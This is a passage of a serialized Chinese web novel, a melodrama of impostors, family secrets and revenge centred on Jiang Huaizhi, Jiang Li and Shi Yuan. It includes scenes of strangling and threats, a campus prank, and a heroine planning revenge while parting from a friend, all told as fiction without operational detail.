他是什么时候知道的? 江淮之慢慢站起来,一点一点朝她走近,然后像上次那样,没有任何预兆的一把掐住了她的脖子,“从你被司南泽送过来的那一天,我就知道你根本不是时愿了。” “司南泽难道没有告诉过你,时愿的爸爸,是我杀的吗?谁会去爱自己的杀父仇人?” 他的力道比上一次还要重,时愿感觉自己的双腿都要离地了,惨白的脸逐渐涨红,除了痛苦的哀嚎声之外发不出任何声音。 大脑也开始缺氧,肺部也开始刺痛。 “相信司南泽的鬼话也就算了,居然还相信我真的已经改邪归正,变成了温润如玉的司家家主。”江淮之看着她由红到紫的脸,掐着她脖子的手掌感受着颈动脉的跳动,身体里的暴虐因子躁动起来,力道收的越来越紧,“你还是和以前一样蠢。” “智商低、演技差、还自以为是,干脆我帮司南泽把你处理掉算了,反正你对他也已经没有用处了。” 时愿双手死死的抓住他的手腕,表情痛苦不堪,她泪眼婆娑的看着江淮之,艰难的出声:“我……爱……爱你。” 江淮之狠狠皱了皱眉,像是丢什么垃圾一样,把她重重的甩到了地上。 空气重新进入口鼻,时愿狼狈的趴在地上大口大口的喘气,上次的掐痕还没有完全褪去,今天又叠上了新的一圈青紫,看上去骇人极了。 “不是爱我么?”江淮之约过趴在地上的时愿,重新坐回了沙发上,居高临下的审视她,“那就说说看,司南泽给了你什么好处?” 时愿撕心裂肺的咳了好几声,缓了一会儿,慢慢开口:“六年前,我爸爸死后债主都找上门来,他就是那个时候出现的。他告诉我你是司家的孩子,他可以帮我和我妈对付那些债主,还说可以给我一个一直陪在你身边的机会,我就答应了。” “他送我去整了容,把我妈妈安排进了司家当佣人,一直到南诗奕去世,司家处理的人里面就包括了我妈妈,司南泽把我藏到了国外,一直到司家老爷死后才把我接回江城,让我顶替时愿的身份待在你身边。” “其他的我什么都不知道!” 时愿双膝跪地,眼泪不断的从眼眶里流出来,一滴一滴砸到地上,急切的对江淮之解释了一遍来龙去脉。 六年前就开始搭戏台子了,司南泽还真是老谋深算,连时鸢这个人他都能搜出来当棋子。 这章没有结束,请点击下一页继续阅读!当初,他就不该对这个女人心慈手软。 江淮之突然想起来姜梨以前总是说有人在跟踪她,他谨慎观察了好长一段时间都没发现任何人的踪迹,还以为是她精神压力太大出现的幻觉。 现在想来,多半是司南泽在暗中监视她。 想清楚这些,江淮之微微向前倾身,朝跪趴在地上的人递过去一只手,脸上的表情又变得如沐春风,像在看一场变脸川剧。 时愿看他递过来的手,不敢搭上去。 江淮之的凤眸微弯,刚刚的狠戾彻底退去,笑盈盈的说道:“只要你明天去给舒羽和舒翎赔礼道歉,以后别再去找她们的麻烦,我就当什么都没有发生过,你还是时愿。” 时愿抬起眼皮,眼睛红的充血,泪光闪烁,压下心里的不甘,握住了他的手掌,“嗯”了一声。 江淮之把她从地上扶起来,牵着她坐到他旁边,手指摸了一下她脖子上可怖的掐痕,“疼吗?” “疼的。”时愿的双手搭在膝盖上,身体紧绷。 江淮之的手从她的脖子游移到她的下巴、脸颊、最后停在她的眼皮上,“多漂亮的眼睛,如果没有了眼球,该有多可惜。” 他的话让时愿的脊背窜上来一股凉意,让她止不住的战栗。 “啊——”下颌突然被人掐住,他的那张脸突然撞进视线里,眼神对视的一瞬间让时愿控制不住的惊叫了一声,表情也变得惊悚。 “背叛我的下场就是这样,明白吗?”江淮之嘴角噙着笑,声音很轻:“替身就要有个替身的样子,不要这么不经吓,时愿她从来不怕我。” 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第139章 司南泽已经死了十三年 江淮之现在就是一条吐着信子的蛇,恐怖的让人毛骨悚然。 时愿稳了稳心神,慢慢的朝他凑近。随着距离越拉越近,她的心脏也要跳出胸腔。 离嘴唇只有一厘米的时候,江淮之突然松开手不动声色的将距离拉远,手掌轻拍她的脸颊,“这样才对,忠诚、听话、认主的才配养在家里,不知道自己主子是谁的就只能被扔进狼群里分食。” “我足够听话,你就不会卖我吗?”时愿看他心情没有那么糟糕了,大着胆子问了一句。 江淮之自胸腔发出一声笑:“你在我这里犯了多少错?我要是真的想卖你,早在你用姜梨威胁我的时候就把你扔给司南泽,让他替我灭口了。” “但是你这张脸整的挺成功,这么像的一张皮,世间难求,我可不舍得让司南泽处理掉。” 时愿听完他的话,紧绷的身体逐渐放松下来,抓住他贴着创口贴的那只手腕,将脸贴在他的手掌上,“我不会背叛你。” “药箱在哪里?”江淮之神情淡了一点,将话题扯开。 时愿指了一下储物柜的位置。 药箱里的东西很齐全,各种用途的药物都有。找到一支活血化瘀的药膏,用棉签蘸取,涂抹在时愿的脖子上,用纱布裹了一圈。 江淮之洗了个手,然后往玄关方向走。 时愿知道他这是要走了,他现在刚被卸任家主身份,自然不会住在司宅。 是要去找舒羽吗? 脖子上的顿痛并没有消散,刚刚那种濒死的窒息感也还萦绕着她,时愿不敢问,低眉顺眼的跟着他到了门口。 “明天我会让司机来接你,司宅不太平,我会安排你住到别的地方。” 时愿微笑着应了一声:“好。” 谢铭一直在车上等江淮之,车门关上,江淮之扯了好几张湿纸巾,略带粗暴的擦拭着自己的手指,恨不得搓下来一层皮。 “韩总那开棺提取到了DNA,跟大少爷您送过去的DNA做了亲子鉴定,结果是90%,躺在韩家祖陵里的人,不是韩聿泽。”谢铭在看到韩斯年发过来的报告时也震惊了好久,司南泽在司家待了十几年,现在却在韩家墓地里挖出来了他的尸体。 经过十几年,那具尸体早就已经变成了森森白骨。 韩斯年又找了专业的法医鉴定,根据骨骼发育的情况,证实这具白骨是十二岁至十五岁的男童。 谢铭事先不知道江淮之的猜想,头皮都在发麻。司南泽早在十三年前,就已经死了,那么现在的这个司南泽,又是谁?! 江淮之倒是没有多大的反应,这样的结果跟他的猜想相差无几,冷声:“联系司南衍,把这份报告发给他。” 一起长大,最敬重的亲哥哥,到头来是个假货…… 全司宅的人都知道,司南衍不爱爹妈,只爱家主之位和这个哥哥。但是相较于家主之位,他最爱的是哥哥。 最敬重的兄长已经躺在冰冷的墓地里十几年,现在陪在他身边的是个假货……试问哪个正常人能受得了这种事情? 谢铭点头:“是。” 然后驱车开往秋水湾。 …… 翌日早晨,冬日的阳光透过窗帘洒到床上。 姜梨迷迷糊糊的醒过来,刚睁眼就感觉她的腰上压了一条手臂,吓得一个激灵,条件反射似的一巴掌就朝那条手臂拍过去。 “啪”的一声脆响,声音大的响彻整个卧室。 原本睡着的江淮之被她这一下打醒。 “大早上的,家暴我?”声音带着点鼻音,沙哑的像砂纸,还没有睡醒。 姜梨看着天花板,又看了一下四周的摆设,开始怀疑自己的记忆是不是错乱了。 她昨天晚上不是在自己的卧室睡的吗?她还记得,她锁门了。 可为什么现在是在江淮之的床上? 姜梨掀开被子,翻身骑到他身上,双手揪住他的衣领,咬牙切齿地挤出来一句话:“你撬锁?” ?? 晚上他回来的时候已经半夜十二点多了,他也发现姜梨反锁了卧室门,再结合她不回他信息的行为,知道她这是不高兴了。 怕她自己胡思乱想偷偷掉眼泪,就用备用钥匙开门看了一眼,看她睡的跟小猪一样,没敢碰她,连声音都不敢制造出来一点,生怕把她吵醒了会把她惹哭。 轻手轻脚的把门关上,甚至还用钥匙重新锁好,现在居然被她冤枉撬锁。 江淮之蹙眉,睁开眼睛看向她:“你昨天晚上,半夜三更梦游自己跑到我房间的。” 姜梨大脑发懵,表情茫然,然后心里又开始不安起来,她没有说什么不该说的吧? 起了逗弄她的坏心思,看着她的目光里带了点戏谑,“掀开我的被子就往我怀里钻,对我又亲又抱,还扒我的衣服在我身上摸来摸去。” “知道的以为你是在梦游,不知道的还以为你是什么女流氓想要强上我。” 强……上他?!他是怎么有脸,用这么委屈的语气,说出这种话的! 姜梨气的翻下床,抄起枕头就朝他身上砸过去,“到底是谁强迫谁?再说你都是一个快奔三的老男人了,就这条件还能被我上你委屈什么?你应该在心里偷着乐!” “真被你上了我不仅不委屈,我高低要放一整夜的烟花。”江淮之慢条斯理的把枕头放回原位,看着站在那边炸毛的人,眼底变得意味深长起来,“我强迫你,你不是也爽的很?” 她是不是真的抗拒,江淮之感觉得出来。 嘴巴不诚实,身体的反应骗不了人,姜梨不但不讨厌,反而很喜欢他的触碰。 身体里突然窜上来一股邪火,某一个地方也开始苏醒,江淮之的喉咙干涩,喉结上下滑动了一下,“你上次,把我手指的皮肤泡皱了。” 什么?姜梨愣了好半天才反应过来他说的是什么意思,脸瞬间烧了起来。 她真是疯了才在这里和这个老男人耍嘴皮子。 “砰”的一声。 姜梨逃似的出了他的卧室,大力的关上门,企图用这种方式来宣泄她的不满。 江淮之忍不住笑了一声。 好容易生气,人不大,脾气倒不小。 像刺猬,碰一下就要竖起来全身的刺扎人。 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第140章 你家卖壁画的吗 早在前几天姜梨就已经趁江淮之不在的时候把短刀和一些衣物寄到了纪繁星那里,让她暂时保管。 期末考试结束的第二天,姜梨请了阮经颜和叶辞吃饭。本来也要请许雾的,但是她回家的高铁票就在今晚,没办法来吃这顿“散伙饭”。 姜梨提前在樱大附近的一家火锅店订了位置。 她不吃辣,就点了一个鸳鸯锅锅底,阮经颜和叶辞还要了一扎啤酒。 阮经颜给她递过来满满一杯酒,姜梨摇头拒绝:“我不喝这个,我喝饮料。” 她以前是一口就醉,现在虽然不至于那么离谱,但是也没好到哪里去。 “哟。”阮经颜忍不住打趣她:“小酒鬼今天这是转性了?” 最近姜梨心里装的事有点多,醉酒会误事。 笑了笑,她随便扯了一个借口:“免得一会儿醉了还得拜托你们两个把我拖回去,消停会儿吧。” 叶辞没有吭声,给她倒了一杯橙汁,啤酒他和阮经颜喝。 汤底煮开,咕噜噜的翻腾冒泡,热气腾腾烫的脸红扑扑的,香气浓郁扑鼻。 姜梨的额头都冒了一层热汗,放下筷子把外面的羽绒服脱掉,叶辞看到顺手接过来帮她放到了旁边的竹篮子里。 “对了。”姜梨想起什么,看向叶辞问他:“你不是在樱洲开了一家酒店吗?怎么样?” 叶家两兄弟,叶止是长子,所以听从他父亲的安排从军,现在已经是少校军衔。 叶辞选择经商,现在已经接管了叶家的公司,自己也开辟了别的路,除了姜祈安转让的那家酒吧,前不久新开了一家酒店。 开业那天办了一场酒会,姜梨也收到了请帖,但是那天她在暮色跟纪繁星谈合作,还见了沈翊,就没有去成。 “也就那么回事,目前没什么问题。”叶辞问她:“你十一号去港城,什么时候回来?我爸妈挺想你的。” 这个姜梨早就决定好了,所以想也没想的回答:“就明天啊,我前天跟叶阿姨说过了。” 叶辞扯了扯嘴角,“成。” 店里又进来了一批人,也是樱大的学生。今天考试结束,来这里小聚的人还挺多。 阮经颜在那批新进来的人里看到了季浅,于是想起来一件事,开始跟叶辞和姜梨说起她听来的八卦。 “昨天期末考试结束的那晚,季浅不知道得罪谁了,就被人教训了一顿。”阮经颜扯了一张纸擦了擦脸上的汗,看周围都是学校的人,不禁把声音压低了许多,神秘兮兮的,“昨晚学校不是断电了吗?然后就有人趁着季浅一个人的时候把她给打晕拖去体育馆的器材室锁了一夜,一直到今天早上才被管理体育馆的保安大叔发现。 “她身边还有好多老鼠的尸体,可吓人了。” 姜梨夹菜的动作顿了顿,“咱们现在是在吃饭吧?这哪里是吓人,这分明是恶心,老鼠什么的最讨厌了。” 叶辞不知怎么的突然就来了兴趣,“然后呢?” “因为没有监控,查不到是谁干的。而且她也没受伤,就是被吓到了。”阮经颜撇了撇嘴,忍不住吐槽:“一个季浅、一个顾一心,凭借着碎嘴的功夫被全校的人熟知也是没谁了,估摸着就是得罪谁了然后被报复了呗!” “她以前跟顾一心还是姜小梨的室友呢,还跟别人到处说姜梨勾引江淮之,爬床什么的,江淮之知道了以后就叫简清时去处理了,都记了过,还把她们调走了。顾一心都长记性收敛了好多,就是这个季浅一根筋,死性不改。” 叶辞眉梢挑了一下,扭头去看姜梨,“还有这么回事啊?” 姜梨瞪了他一眼,没搭话。 阮经颜继续说:“校方抓不到人,又怕事情被闹大会对学校有影响,就给了她一笔精神损失费作为赔偿,也算是另类的封口费吧。知道的人还真不怎么多,大部分都是跟季浅有矛盾的。” “比起这个,大家其实更好奇是哪个哥这么牛逼,能让全校都断电。” 姜梨耷拉着眼皮,掩去眸子里的情绪,语气不咸不淡:“谁知道呢。” 叶辞看热闹不嫌事大,对阮经颜说:“你说,有没有可能不是哥,是姐?” 阮经颜“啊?”了一声,眼珠子转了一圈想了想,觉得不太可能,“季浅的个子算是高的了,有一米七吧?哪个女的能把她打晕了再抱去体育馆啊,还要避开人。” “不好说啊,说不定那姑娘就带了一个黑衣保镖做帮手呢?”叶辞眼眸一闪,嘴角轻轻一撇,似笑非笑:“二梨,你说是不是?” “怎么着啊?是个姐的话你要去认人家当爹吗?啧,叶辞你怎么还有这癖好?” 眼看叶辞还想继续说什么,姜梨在桌子底下不轻不重的踢了他一脚,眼神凶巴巴的瞪了他一眼。 闭嘴! 阮经颜喝酒喝的有些迷糊,没瞧出来两个人的不对劲,倒是看到季浅那行人走了过来,立马做了一个噤声的动作。 姜梨瞥了那边一眼,发现季浅的脸色是连精致的妆容都解救不回来的程度,憔悴得很,看得出来被吓得不轻。 本小章还未完,请点击下一页继续阅读后面精彩内容!嘴贱的人就是要收拾了才会学乖。 季浅他们的位置刚好是在姜梨他们后面,几个人看到叶辞也纷纷叫了一声“叶学长好”,算是打招呼。 “姜梨。”季浅紧紧盯着姜梨,从牙缝里挤出来两个字。 “什么事?”姜梨抬起头,坦荡的和她对视。 旁边人声喧闹,季浅不敢直接当着这么多人的面指证昨晚把她锁进体育馆里,放死老鼠吓唬她的人就是姜梨,她没有证据。 但是她又实在咽不下这口气,看了一眼灯光下的黑影,含沙射影般的说了句:“你的影子歪了。” 这是在讽刺她人不正,所以影子也歪。 姜梨垂下眼皮,淡淡的“哦”了一声就没了下文,认真的对付碗里的菜,没再看季浅一眼。 她无所谓的态度让季浅觉得更加不舒服。 “你……” 季浅还想说什么,就听到酒杯被人重重放在桌面上发出来的声响。 “我的影子比她歪多了。”叶辞眉毛蹙了一下,他的长相本来就凶,现在更是让人觉得凶神恶煞。“你卖壁画的吗?我们不买。” 阮经颜一下子就想到网络上的一句话:你家住敦煌吗?壁画这么多? 叶辞说的跟这个有异曲同工之妙,季浅确实壁画太多。 “好了,走吧走吧……” “吃完还得回学校呢!” 叶辞明显是不耐烦了,叶家他们这些人可惹不起,赶紧拽着季浅坐到了他们的位置上,还不忘对他们赔个笑。 将欺软怕硬四个字展现的淋漓尽致。 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第141章 我会离开樱洲 从火锅店里出来,姜梨跟他们说了一声,三个人一起来了沈翊说的那个台球俱乐部。 正要进去,透过玻璃门看到大厅里的一行人时叶辞愣了一下,下意识扭头去看姜梨。 “怎么……”姜梨抬起眼皮,然后她的声音戛然而止,话卡在了喉咙里。 大厅人有些多,但是有几张熟面孔。球杆击中球的“乒乓”声不绝于耳,姜梨直直的看着一方球桌,江淮之在教时愿打台球。 两个人的身体交叠在一起,因为是背对着,姜梨看不到江淮之的表情。 最先发现他们的是陆临和陆七。 陆临放下球杆,也不知道是有意还是无意,他当着所有人的面喊了她一声:“梨妹妹。” 顿时间,十几道视线朝着他们看了过来。 江淮之动作一僵,松开时愿站起来,侧身看向她。 在他的视线移过来的时候姜梨已经收回了在他们身上目光,转而对上陆临的眼睛,回了句:“好巧。” 陆临:“一起?” “不了,我们去隔壁,你们继续。”叶辞扯起嘴角笑了一下,说完带着姜梨和阮经颜转进了旁边空一点的大厅。 开了暖气,脱掉羽绒服外套方便一些。 姜梨今天扎了一个高马尾,里面穿了一件白色的半高领针织打底,修身的版型勾勒出纤细的腰身。 她长相出众,球技也出奇的好,吸引来不少人的视线。 姜梨今天的情绪其实一直都不高,比平时的话少了一半,刚刚看到江淮之和时愿在一块,心情似乎更差了,打球的力道非常重。 她恨不得现在台球上的每一颗球都是沈翊,她上一次果然还是下手不够重。 这个台球厅哪里有沈翊的影子?他分明是故意骗她来这里,让她看江淮之和时愿的亲密接触,想让她吃醋、生气、然后跟江淮之吵架。 都他妈没个几天了,还要跟她耍这种心机。 烦躁的情绪升到了顶峰,导致姜梨后面频频失手,一直输。 她最后一次失误,叶辞站在旁边,清晰的听到了她不耐烦的“啧”了一声,用粤语骂了一句:“痴线。” 这一句叶辞知道,是神经的意思。 “你们打,我去一趟卫生间。”姜梨把球杆放到一边,跟阮经颜和叶辞说了一声,然后从外套口袋里拿出手机,走出大厅。 姜梨给沈翊发了一长串的微信,通篇都是念不出口的话,几乎是把他祖宗十八代都拉出来骂了一圈,沈翊那边只回了一句:注意点骂,你亲哥跟我在一本族谱上。 气得姜梨气血上涌,直接把他给拉黑了。 “姜二小姐。”走出卫生间打算回到台球厅,经过楼梯间的时候突然有人喊了她一声。 姜梨脚步一顿,标志着安全出口的门被人打开,站在里面的人是时愿。 “你喜欢阿野,我知道你和他的关系了。”时愿直接摊牌,还报复性的把沈翊给曝了出来:“沈家二少爷给我发了两段视频,他告诉我你和阿野有不正当的男女关系。” 姜梨面色不改,眼睛直直的看着时愿,透过她这一层皮囊,看穿她的灵魂,“所以呢?跟你有什么关系?” 先是用下作的手段污蔑舒羽,然后又因为嫉妒舒羽而去找舒翎的麻烦,就这么两件事姜梨就已经看清楚时愿这个人是个什么样的货色。 跟南诗奕关系匪浅,她到死都惦念的人,姜梨曾经还想帮一把的人,居然是这么个心机白莲花。 “我知道你以前是他继妹,现在是养妹,你们现在的关系,是在乱伦。” 时愿几乎是咬牙切齿的说出来这句话,伪装出来的温和也出现了一点裂缝。 什么舒羽,什么助理。 江淮之一直都在跟姜梨待在一起,跨年夜那天,还有他说去找陆七把她丢下的那一次,他待在秋水湾的每一次。 都是跟姜梨在一起。 姜梨乐了,继续反问:“又如何?” 没有任何血缘,所谓的继兄关系后来也破裂了,算他妈的哪门子的乱伦? 她懒得再跟这个女人在这讨论这种无聊的问题,转身就要走。 时愿看着她的背影,声音稍微大了一些:“你知道他为什么会成为你的继兄吗?因为你爸爸是个强奸犯!还是个有吸毒史的强奸犯!他强迫了阿野的妈妈!还是个家暴男!” “你不嫌恶心,我都替阿野觉得恶心!” “轰——”的一下,时愿的这句话犹如一道惊雷劈在了姜梨的头上,她的耳边是一阵嗡鸣,瞳孔紧缩,脑子变得一片空白。 姜铭生有吸毒史,是强奸犯,是家暴男。 他让江淮之的妈妈染上了毒瘾,他还强奸了她。 时愿乘胜追击:“你以为阿野帮挡过刀你就是最特别的吗?我告诉你,在你之前,他也帮我挡过,因为你跟我长得很像,所以他才会对你心软!” “他明明恶心你都来不及,你现在得到的一切,都是因为我!你只是我的替身而已!” 姜梨不知道时愿的话是真是假,她失去了在江城的那段记忆,她没有办法去辨别,脑子被搅成了一团浆糊。 本小章还未完,请点击下一页继续阅读后面精彩内容!“以前是因为我不在,所以他才把你当成了我的替身。他跟你接吻的时候,喊的也是我的名字。”时愿见姜梨站在原地不说话,以为她还是没有听进去,于是放软了身段,说话的语气卑微又可怜,“姜二小姐,你已经趁我不在的时候,得到了江淮之的喜欢,难道还不够吗?” “你命好,你漂亮又有才,想什么来什么,做什么成什么。谢家二少爷,还有叶家小少爷,甚至是连你二哥都对你青睐有加,有这么多人都喜欢你。我妈妈因为二小姐受到牵连已经死了,我爸也死了,我现在只有阿野一个了。” “你就不能把他让给我吗?” 时愿口口声声说江淮之只是把姜梨当成她的替身,江淮之不爱她,结果连这点自信都没有。 都用上了“让”字,还说出来让人极度生理不适的一大段话。 时愿的不幸不是她造成的,她和江淮之当初分开也不是她造成的,她凭什么要让? 说她命好,她如果真的命好,接下来就不用离开樱洲和北城,也不会在这里听她废话。她如果真的命好,就不用为了复仇而不得不放弃爱人。 姜梨扭头看着她,“我十一号就会离开内地,以后也不会再回来。但是你要是惹我不高兴了,我就不走了。” 桃花眼微弯,看人时却又很冷淡,此刻带着明晃晃的威胁和警告,“几天的时间而已,你再不爽也给我憋着,少他妈在我面前叽歪。” 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第142章 姜梨,你有种 台球肯定是没办法再打下去了,心情特别糟糕的时候做什么事都会不顺利,心情只会越来越差,陷入一个死循环。 阮经颜要等简清时。 姜梨跟叶辞下楼去停车场,电梯一层一层下降,停在了一楼。 到了车边,叶辞见姜梨没有想要上车的意思,直言问她:“怎么?有话跟我说?” “没话说,就下来送送你。”姜梨停顿了一下,也没瞒他,“我跟江淮之一块回去。” 叶辞低着头对上她的眸子,哑声问出了今晚他怀疑的事情:“你这一次去港城,是不是不会再回来了。” 她跟叶辞从小一起长大,姜梨不否认今天她的演技实在是太差,但是她没想过要瞒他,坦荡承认:“是。” 在火锅店里,他问姜梨什么时候去看看他爸妈的时候,她僵硬了一瞬的动作,她逃避的表情,叶辞都捕捉到了。 即便是江淮之和时愿都已经亲密成那样了,她也还是选择要在这等他一起回去。 如果换做是以前,姜梨今天连台球都不会再打,只会转身就走。 除夕去不了叶家是因为她可能连樱洲都回不来,忍着气也要等江淮之一起回家,是因为她想要跟他多待一会。 今晚他们三个人吃的饭,是散伙饭。 “你找到林遥被沈月汐害死的铁证了,你想用自己的方式给她报仇是吗?”除了这个原因,叶辞想不到别的了。 姜梨没回答,但她的表情明晃晃的写这两个字:默认。 沈月汐派人追杀姜梨,在司家的葬礼上姜梨曝光的那段没有放完的视让楚云大惊失色,再到殡仪馆门口,姜梨大庭广众之下羞辱楚云,她却选择忍气吞声的时候,叶辞就已经察觉到了。 姜梨拿到了楚云的命门。 害死林遥的人,是沈月汐。 停车场安静的过分,冬夜里的冷风像是刀片一样,刮的脸生疼。 他不说话,姜梨也不催他,静静地等。 叶辞再次开口时,声音大了一些,有些难掩的暴躁:“你有证据你可以报警,我大哥……” “叶辞。”姜梨没让他说完,她站在那里,眼圈迅速红了一圈,漆黑的眼睛像是一片黑洞。死寂又带着吞噬一切的决心,声线微颤,“林遥死了,我哥哥也死了,他们都不会再回来了。” 两条性命,凭什么坐个十几年的牢就可以抵消? 她要楚家和沈家都亲眼看着,看着他们苦心经营的家族被她搞垮,她要让沈叙稀里糊涂的锒铛入狱。 她还要让楚云亲眼看到她和她最爱的男人生下来的女儿,变成一具焦炭。 她要让楚云和楚家的人狗咬狗,斗得两败俱伤,她非要搅得他们此生都不安宁。 “所以就算是搭上我这条命,沈月汐她都必须死。” 她要复仇,她要最完美、最彻底的复仇。 叶辞的喉咙发苦,拳头握紧,“你那么喜欢江淮之,现在你们好不容易在一起了,就不能为了他,再想想其他的办法吗?” “你就不怕我告诉他吗?” 姜梨的眼睛忽然变得湿润,视线都开始有些模糊,眼眶滚烫。下一秒,眼泪顺着脸颊流下来。 在决定动手的时候她没有哭,知道自己可能有去无回、可能会和沈月汐一样变成焦炭的时候,她没有哭。 她有条不紊的计划着一切,看着日历倒数着日子。姜梨平静坦然的接受这一切,她从来都不害怕死亡。 但是当江淮之的名字从别人的嘴巴里蹦出来时,她忍不住。 一想到就要失去他了,她心里那片痛苦的浪潮就翻滚的更厉害。 她这个人,她这条命,都是踩在别人的尸骨上留下来的。 血海深仇和爱人,她要选前者。 叶辞看着她,就算眼泪像断了线的珠子砸下来,姜梨还是坚定的摇头,她说:“有时愿在,没有我他也会过得很好。你也不会告诉他的,你会帮我的,就像帮我一起收拾季浅那样,做我的黑衣保镖。” “你要留在樱洲,后续还有许多事情需要你帮我。”姜梨预判了叶辞接下来要说的话,她深吸了一口气,“除了江淮之,我最信任的人就是你。我走之后,阮经颜如果被阮家人刁难,在你的能力范围之内帮帮她,也帮一帮江淮之和简清时。” 她从外套口袋里摸出来一张银行卡递给他,“这里面是我从沈月汐那里骗来的五百万,我想请你帮我把这笔钱,在我走之后以你做慈善的名义捐到港城青森疗养院,密码是我的生日。” 叶辞看着她递过来的那章薄薄的卡片,心脏像是被一把锋利的手术刀给切开来,冷风不停歇的灌进去,痛的让他接卡的手都在颤抖。 他没有去问为什么,现在不适合问,也问不出口。 叶辞机械般的把卡放进了自己的口袋里,他咬紧了牙齿,眼睛里也是一片红。 姜梨对他扬起来一抹笑,张开双臂抱了他一下,“如果我能活着出来,就算不能在别人面前露面,我也一定会跟你报平安。” “我不会去送你,姜梨。”叶辞咬着牙,说着狠话,但是手还是温柔又克制的回抱了她一下。 这样的拥抱点到为止,很是短暂。 叶辞松开她,走的时候步子都有些不稳,像一个毛头小子一样,转过身执拗的对她吼了一句:“姜梨,就你他妈有种!” 他的声音非常大,带着滔天的怒火,中气十足吼得震天响。 姜梨的眼泪却掉的更厉害。 她看到叶辞哭了。 车子经过她的时候停了下来,黑色的玻璃降下一点,叶辞骨节分明的手扔出来一包纸,和一张银行卡,不是她给的那一张。 是叶辞自己的。 两样东西落在地上,轻飘飘的,但又像一颗石子,沉甸甸的砸在姜梨的心口上。 叶辞没有停留,扔下东西以后踩下油门驱车离开。 姜梨蹲下身,将两样东西捡起来,眼泪开始决堤。 被人害得家破人亡的是她,为了报仇不得不离开朋友和爱人的还是她,到底凭什么? 突然,一只手掌搭在了她的肩膀上,陌生的气息让姜梨的脊背发凉。 她来不及思考这人到底是谁,伸手一把抓住那人的手腕,借力使力的将他掀翻在地,肉体撞在地面发出一道沉闷的声响。 “卧槽——!” 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第143章 不合格的前任 陆七被姜梨撂倒在地,一秒钟以后他发出一声尖锐的暴鸣声,爆出来一句粗口。 他一个一米八几的大男人!就他妈被一个纤弱的小姑娘!撂翻在了地上! 陆七以前跟江淮之在江城的时候没少打架,最穷的时候还给人当过打手,身手自然是好的没得说。 他被人用刀刺伤过,挨过枪子儿,就是没有被人,还是被一个看着一阵风都能吹跑的女人,用过肩摔撂倒过。 为什么一个上一秒还哭得稀里哗啦的人,下一秒就能动手打人?! 真是够了。 姜梨看到地上的人,反应过来自己打错人了,立刻手忙脚乱的要去扶他,“对不起!!!我不是故意的!!!!” “您……您能起的来吗?需不需要救护车?” 陆七的脸上滑下来三条线,神他妈需不需要救护车!他有这么脆皮吗? 看到姜梨真的要来拉他,陆七手掌撑着地面“唰”地一下站了起来。姜梨吞咽了一下喉咙,看他的脸黑的跟锅底一样,想起之前听到的那些关于陆七的传闻,还以为他要动手,反应迅速的后退好几步,和他拉开距离。 深深的对他鞠了一躬:“对不起!我真的不是故意的!” 姜梨的眼睛红红的,连眼泪都还没来得及擦,有些无措的看着他。 陆七:“………” 刚刚打人的是姜梨吧?被她打了的人,是他吧?现在该哭的人,也应该是他吧? 叶辞走了,姜梨现在是要回台球厅。 如果就这样放她上去,他估计会被江淮之打死。 夫妻俩,混合双打。 陆七随手拍了拍身上的灰,语气随性又自然,没有生气的味道:“妹妹,现在该哭的人应该是我才对。 “你要是现在还手的话,我就会哭。”她伸出手往上面指了一下:“江淮之还在上面。” 陆七一下子就知道她为什么这么怕他了,是怕他会还手揍她,他被姜梨的这个逻辑逗笑了,无奈的摇了摇头,指了一下她捏在手里的那一包湿巾,“我是想让你擦干净,不然我真的会被江淮之揍死,其他人还会说我欺负小姑娘。” 他一说完,姜梨才感觉到脸上的眼泪被风吹干了,像有一层薄膜紧紧黏在皮肤上,又干又潮的感觉,紧绷绷还有点点疼。 不用照镜子她都知道有多丑。 赶紧抽出来一张纸,把脸上干涸掉的泪痕一点点擦干净,让自己看起来没这么狼狈。 陆七扬了扬下巴:“外面冷,要没什么事就上去吧。” 姜梨现在不太想上去,没有动。 刚刚叶辞吼的一句陆七其实听到了,看出来她情绪不太好,陆七也没再杵在这里,独自上了楼。 姜梨进了旁边的超市,买了一包万宝路黑冰还有一个打火机。 也不再怕有人会看见。 拆开包装,是粗支的烟杆。她抽出来一根,手指捻破了爆珠,然后咬进嘴里,点燃。 她其实没有什么烟瘾,心情不好的时候会抽几根缓解情绪。 香烟从喉管进入到肺里,嘴里是清爽的薄荷味,混着点苦,尼古丁刺激人的大脑,冰凉凉的感觉让她舒服的眯了眯眼睛。 阮经颜下来的时候刚好看到这一幕。 风吹起她的发丝,烟雾也被吹散。头顶昏黄的路灯透过树的枝干落在她的脸上,映出斑驳的光影,唇边亮着一点猩红。 姜梨是鹅蛋脸,下巴圆润,轮廓流畅,看上去很柔和,唯有那双桃花眼很淡,所以多了几分清冷,像八九十年代的港风美人。 阮经颜在高中的时候是看过姜梨抽烟的,她当时作为纪律委员,看到人抽烟的第一反应居然不是记下名字,也不是惊讶乖乖女会抽烟,而是在想如果有相机能拍下来就好了。 现在她也还是会看呆,阮经颜觉得现在这一幕要是出现在电影片段里一定是可以封神出圈的画面。 果然,男女通杀不是没有道理的。 可盐可甜,又乖又戾,这是一张当老婆的脸,但是又给人一种老公的感觉。 姜梨微微偏头,朝她看过去,将烟夹在指尖,声音有些哑:“怎么下来了?要回去了吗?” 阮经颜回过神,走到她旁边,“叶辞给我打电话,说你们两个吵架了,让我下来看看你。” 她说完,姜梨觉得自己的心脏又被狠狠的戳了一刀,鼻尖一阵酸涩,又想要哭。 “哦。”她只能把烟重新咬进嘴里,猛吸了好几口,试图用这种方式压下要涌出来的眼泪,吐出烟雾,没说话。 看姜梨没有要多解释的样子,阮经颜也没有打破砂锅问到底,就这么安静的看着她抽完了两根烟。 剩下的烟和打火机姜梨也没丢掉,揣进了兜里。 想到姜梨这几天都是要跟江淮之住在一起,阮经颜挑了挑眉,“不怕被发现了?” 姜梨抬头看了一眼楼上,扯了扯唇角:“不想装雪莲花了,想当黑莲花和绿茶。” 阮经颜没听懂她的意思,一直到被姜梨拉着上了三楼,站到江淮之他们在的那个台球厅,推开透明的玻璃门,喊出来他的名字:“江淮之。” 本小章还未完,请点击下一页继续阅读后面精彩内容!她才知道姜梨说的那句话是什么意思。 江淮之懒散的靠在台球桌旁边,正在跟陆七说着什么,听到姜梨喊他,他偏头朝她看了过去。 “八点多,该回家了。” 